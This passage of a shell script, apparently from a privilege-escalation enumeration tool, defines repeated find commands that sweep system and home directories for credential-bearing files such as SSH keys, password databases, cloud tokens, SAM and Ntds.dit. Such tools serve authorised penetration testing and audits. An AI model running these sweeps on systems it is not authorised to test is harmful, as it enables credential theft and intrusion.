\"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_BIN=`eval_bckgrd "find /bin -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_CACHE=`eval_bckgrd "find /.cache -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_CDROM=`eval_bckgrd "find /cdrom -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_ETC=`eval_bckgrd "find /etc -type d -name \"mysql\" -o -name \"bind\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"kubernetes\" -o -name \"system.d\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"cacti\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"pam.d\" -o -name \"environments\" -o -name \".password-store\" -o -name \"system-connections\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_MEDIA=`eval_bckgrd "find /media -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_MNT=`eval_bckgrd "find /mnt -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_OPT=`eval_bckgrd "find /opt -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_PRIVATE=`eval_bckgrd "find /private -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_SBIN=`eval_bckgrd "find /sbin -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_SNAP=`eval_bckgrd "find /snap -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_SRV=`eval_bckgrd "find /srv -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_TMP=`eval_bckgrd "find /tmp -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_USR=`eval_bckgrd "find /usr -type d -name \"mysql\" -o -name \"bind\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_VAR=`eval_bckgrd "find /var -type d -name \"mysql\" -o -name \"bind\" -o -name \".irssi\" -o -name \"sentry\" -o -name \"kube-proxy\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"kubelet\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_APPLICATIONS=`eval_bckgrd "find /applications -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_BIN=`eval_bckgrd "find /bin -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_CACHE=`eval_bckgrd "find /.cache -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_CDROM=`eval_bckgrd "find /cdrom -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" 